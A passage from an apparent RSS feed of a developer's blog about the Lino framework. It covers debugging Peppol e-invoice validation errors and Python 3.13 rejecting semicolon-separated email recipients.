        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Invoice&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cac&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;AccountingCustomerParty&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cac&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;Party&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cbc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EndpointID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;}],&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;status&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;invalid&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;technicalStatus&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;invalid&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;relationships&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;supplier&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;data&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;249e6232-5d7d-4654-8547-c8b252309698&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;supplier&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}}}}}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Okay, this is probably yet another trace of having validated against the wrong
rule set. Seems that in Belgium they require the two first letters of the VAT
number to be specified in &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;cbc:EndpointID&amp;gt;`&lt;/span&gt;&lt;/code&gt;. Why not.&lt;/p&gt;
&lt;p&gt;Next error message was:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;dl class="simple"&gt;
&lt;dt&gt;“Supplier data in document can’t be matched with data of supplier.&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;Value found in //cac:AccountingSupplierParty/cac:Party/cac:PartyName/cbc:Name
can’t be matched with internal supplier data: FIRMA SOUNDSO AG”&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Indeed, I had registered them using the name “Soundso A.G.”, not “FIRMA SOUNDSO
AG”. After changing the site owner’s name to “SOUNDSO A.G.” it worked.&lt;/p&gt;
&lt;p&gt;Here is the next error message:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;transmissionId&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;data&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;94aa14c3-a5c6-49a3-9ec6-a13d66822087&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;peppolInvoice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;attributes&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;createdAt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;2025-04-17T07:09:44.016Z&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;errors&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;code&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;error-customer-not-registered&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;detail&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Identifier&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;iso6523-actorid-upis::9925:be 1234567890&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;registered&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;SML&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;}],&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;status&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;send-error&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;technicalStatus&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;send-error&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;relationships&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;supplier&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;data&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;249e6232-5d7d-4654-8547-c8b252309698&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;supplier&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}}}}}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This makes sense because the recipient of that invoice obviously didn’t yet
register to the Peppol network. The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/jargon.html#term-SML" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;SML&lt;/span&gt;&lt;/a&gt; means Service Metadata Locator
and because we said SchemeID “9925” (which means “Belgian VAT number”), they
probably queried the Belgian VAT office to ask whether the organization with VAT
id 1234567890 has already onboarded to the Peppol network.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The end user should not need to read the log messages of the SyncPeppol
action. Such error messages should be stored in the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;OutboundDocument&lt;/span&gt;&lt;/code&gt;
instance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When the &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-VAT-regime" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;VAT Regime&lt;/span&gt;&lt;/a&gt; is &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;subject&lt;/span&gt;&lt;/code&gt; or &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;cocontractor&lt;/span&gt;&lt;/code&gt;, then  the end
user doesn’t need to check &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;PeppolPartner.send_peppol&lt;/span&gt;&lt;/code&gt; because that’s
mandatory.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0417.html</guid><pubDate>Thu, 17 Apr 2025 00:00:00 +0000</pubDate></item><item><title>Monday, April 14, 2025</title><link>https://luc.lino-framework.org/blog/2025/0414.html</link><description>&lt;section id="monday-april-14-2025"&gt;
&lt;h1&gt;Monday, April 14, 2025&lt;a class="headerlink" href="#monday-april-14-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;For one of my demo invoices the &lt;a class="reference external" href="https://www.ubl.be/validator"&gt;UBL validator&lt;/a&gt;
says: [BR-Z-01]-An Invoice that contains an Invoice line (BG-25), a Document
level allowance (BG-20) or a Document level charge (BG-21) where the VAT
category code (BT-151, BT-95 or BT-102) is “Zero rated” shall contain in the VAT
breakdown (BG-23) exactly one VAT category code (BT-118) equal with “Zero
rated”.&lt;/p&gt;
&lt;p&gt;And yes this invoice sells a bottle of gas with normal VAT rate, and the bottle
itself without VAT (because the bottle is actually not sold, the customer gets
this money back when he returns the empty bottle).&lt;/p&gt;
&lt;p&gt;Does this mean that it’s not allowed to issue invoices with a mixture of
normal-vat and zero-vat?&lt;/p&gt;
&lt;p&gt;To be exact, my example is even a bit more complex, it contains three different
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/ubl.html#term-VAT-category" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;VAT categories&lt;/span&gt;&lt;/a&gt; “normal”, “reduced” and “exempt”.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_book.projects.cosi1.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;trading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatProductInvoice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;111&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;SLS 6/2014&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;trading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ItemsByInvoice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;en&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;==================== ================ ========== ======== ======== ============== ========&lt;/span&gt;
&lt;span class="go"&gt; Product              Heading          Discount   Pr       Qty      TotExcl        InvObj&lt;/span&gt;
&lt;span class="go"&gt;-------------------- ---------------- ---------- -------- -------- -------------- --------&lt;/span&gt;
&lt;span class="go"&gt; Book                 Book                        29,90    10       299,00&lt;/span&gt;
&lt;span class="go"&gt; Stamp                Stamp                       1,40     8        11,20&lt;/span&gt;
&lt;span class="go"&gt; Wooden table         Tisch aus Holz              199,99   4        799,96&lt;/span&gt;
&lt;span class="go"&gt; **Total (3 rows)**                                        **22**   **1 110,16**&lt;/span&gt;
&lt;span class="go"&gt;==================== ================ ========== ======== ======== ============== ========&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MovementsByVoucher&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;en&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;================== ==================== ============== ============== ================================= ================ =========&lt;/span&gt;
&lt;span class="go"&gt; Account            Partner              Debit          Credit         VAT class                         Match            Cleared&lt;/span&gt;
&lt;span class="go"&gt;------------------ -------------------- -------------- -------------- --------------------------------- ---------------- ---------&lt;/span&gt;
&lt;span class="go"&gt; (7000) Sales                                           299,00         Goods at reduced VAT rate (12%)                    Yes&lt;/span&gt;
&lt;span class="go"&gt; (4510) VAT due                                         35,88          Goods at reduced VAT rate (12%)                    Yes&lt;/span&gt;
&lt;span class="go"&gt; (7000) Sales                                           11,20          Goods exempt from VAT                              Yes&lt;/span&gt;
&lt;span class="go"&gt; (7000) Sales                                           799,96         Services                                           Yes&lt;/span&gt;
&lt;span class="go"&gt; (4510) VAT due                                         167,99         Services                                           Yes&lt;/span&gt;
&lt;span class="go"&gt; (4000) Customers   Garage Mergelsberg   1 314,03                                                        **SLS 6/2014**   Yes&lt;/span&gt;
&lt;span class="go"&gt;                                         **1 314,03**   **1 314,03**&lt;/span&gt;
&lt;span class="go"&gt;================== ==================== ============== ============== ================================= ================ =========&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Later it told me “Specification identifier MUST have the value
‘&lt;a class="reference external" href="urn:cen.eu:en16931"&gt;urn:cen.eu:en16931&lt;/a&gt;:2017#conformant#urn:UBL.BE:1.0.0.20180214’.”
Aha. But what is a Specification identifier?
https://docs.peppol.eu/edelivery/specs/reporting/tsr/trn-transaction_statistics/semantic-model/trbt-001/&lt;/p&gt;
&lt;p&gt;Error message: [BR-CL-17]-Invoice tax categories MUST be coded using UNCL5305 code list&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0414.html</guid><pubDate>Mon, 14 Apr 2025 00:00:00 +0000</pubDate></item><item><title>Friday, April 11, 2025</title><link>https://luc.lino-framework.org/blog/2025/0411.html</link><description>&lt;section id="friday-april-11-2025"&gt;
&lt;h1&gt;Friday, April 11, 2025&lt;a class="headerlink" href="#friday-april-11-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I made an XML file named “VKR-2025-33.xml”, then POSTed
it to &lt;a class="reference external" href="https://api.ibanity.com/einvoicing/peppol/suppliers/249e6232-5d7d-4654-8547-c8b252309698/invoices"&gt;https://api.ibanity.com/einvoicing/peppol/suppliers/249e6232-5d7d-4654-8547-c8b252309698/invoices&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;And the response was {‘id’: ‘7031b2c6-acfa-450b-84ab-4ac557fd6f69’, ‘type’:
‘peppolInvoice’, ‘attributes’: {‘createdAt’: ‘2025-04-11T13:34:20.548Z’,
‘status’: ‘created’, ‘technicalStatus’: ‘created’}, ‘relationships’:
{‘supplier’: {‘data’: {‘id’: ‘249e6232-5d7d-4654-8547-c8b252309698’, ‘type’:
‘supplier’}}}}&lt;/p&gt;
&lt;p&gt;And then I request GET
&lt;a class="reference external" href="https://api.ibanity.com/einvoicing/peppol/suppliers/249e6232-5d7d-4654-8547-c8b252309698/invoices/e62dd6dc-b094-49b9-af02-8fd630171dab"&gt;https://api.ibanity.com/einvoicing/peppol/suppliers/249e6232-5d7d-4654-8547-c8b252309698/invoices/e62dd6dc-b094-49b9-af02-8fd630171dab&lt;/a&gt;
to see the status of the document.&lt;/p&gt;
&lt;p&gt;And the response is {‘data’: {‘id’: ‘e62dd6dc-b094-49b9-af02-8fd630171dab’,
‘type’: ‘peppolInvoice’, ‘attributes’: {‘createdAt’: ‘2025-04-11T12:53:53.702Z’,
‘errors’: [{‘code’: ‘invalid-format’, ‘detail’: ‘Document format is not
supported’}], ‘status’: ‘invalid’, ‘technicalStatus’: ‘invalid’},
‘relationships’: {‘supplier’: {‘data’: {‘id’:
‘249e6232-5d7d-4654-8547-c8b252309698’, ‘type’: ‘supplier’}}}}}&lt;/p&gt;
&lt;p&gt;But AFAICS my XML file is valid according to
&lt;a class="reference external" href="https://ecosio.com/en/peppol-and-xml-document-validator/"&gt;https://ecosio.com/en/peppol-and-xml-document-validator/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;What am I missing?&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0411.html</guid><pubDate>Fri, 11 Apr 2025 00:00:00 +0000</pubDate></item><item><title>Python 3.13 breaks sending of emails</title><link>https://luc.lino-framework.org/blog/2025/0402.html</link><description>&lt;section id="python-3-13-breaks-sending-of-emails"&gt;
&lt;h1&gt;Python 3.13 breaks sending of emails&lt;a class="headerlink" href="#python-3-13-breaks-sending-of-emails" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Wednesday, April 2, 2025&lt;/p&gt;
&lt;p&gt;TIM has a single field &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;PAR-&amp;gt;email&lt;/span&gt;&lt;/code&gt; with the customer’s email addresses. And
TIM users know that they can put multiple email addresses into this field if
they separate them by a semicolon. A semicolon?!  According to &lt;a class="reference external" href="https://www.rfc-editor.org/rfc/rfc5322#section-3.6.3"&gt;RFC 5322&lt;/a&gt; the correct delimiter
for recipients in the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;To:&lt;/span&gt;&lt;/code&gt; header is the &lt;strong&gt;comma&lt;/strong&gt;, not a semicolon. Yes, but
a semicolon works as well.  Or at least it &lt;em&gt;used&lt;/em&gt; to work as well. But some time
ago (I guess in version 3.2) the Python email module has been modernized and no
longer accepts strange values in the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;To:&lt;/span&gt;&lt;/code&gt; header.&lt;/p&gt;
&lt;p&gt;TIM uses the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;sendmail.py&lt;/span&gt;&lt;/code&gt; script to actually send the emails.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;email&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;email.utils&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;getaddresses&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is an example of an email generated by TIM (the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;sendmail.py&lt;/span&gt;&lt;/code&gt; script
reads this from a file and cares about the special cp850 encoding, but we can
simplify this here):&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;TEMPLATE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;From: foo@example.be&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;To: &lt;/span&gt;&lt;span class="si"&gt;{recipient}&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;Subject: Rechnung&lt;/span&gt;
&lt;span class="gp"&gt;...&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;Sehr geehrter Kunde,&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;anbei unsere Rechnung mit Gesamtbetrag 407,90&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And here is a function to test how &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;sendmail.py&lt;/span&gt;&lt;/code&gt; parses the recipients
from the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;To:&lt;/span&gt;&lt;/code&gt; header:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;message_from_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TEMPLATE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;recipient&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;getaddresses&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;to&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And yes, semicolons aren’t okay while commas are okay:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bar@example.be;baz@example.be&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[(&amp;#39;&amp;#39;, &amp;#39;&amp;#39;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bar@example.be,baz@example.be&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[(&amp;#39;&amp;#39;, &amp;#39;bar@example.be&amp;#39;), (&amp;#39;&amp;#39;, &amp;#39;baz@example.be&amp;#39;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Until some time ago, the first example would also have returned a list of parser
addresses.  And now poof, more than a hundred customers of my customer didn’t
get their invoice.  Because two weeks ago my customer had inadvertently deleted
the Python from their PC, and I had reinstalled it. The new version is 3.13 and
I think that the old one was 3.10 but I’m not sure.&lt;/p&gt;
&lt;p&gt;And I didn’t find a way to restore the old behaviour. The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;compat32&lt;/span&gt;&lt;/code&gt; policy
&lt;em&gt;should&lt;/em&gt; do it (according to the docs) but doesn’t:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;email.policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;compat32&lt;/span&gt;
